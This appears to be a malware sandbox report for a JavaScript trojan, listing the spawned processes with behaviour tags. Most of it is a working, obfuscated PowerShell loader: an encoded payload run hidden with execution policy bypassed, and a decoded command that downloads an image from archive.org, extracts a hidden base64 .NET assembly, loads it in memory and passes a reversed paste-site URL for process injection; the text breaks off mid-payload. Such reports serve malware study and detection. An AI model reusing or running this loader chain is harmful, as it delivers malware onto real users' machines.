䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ 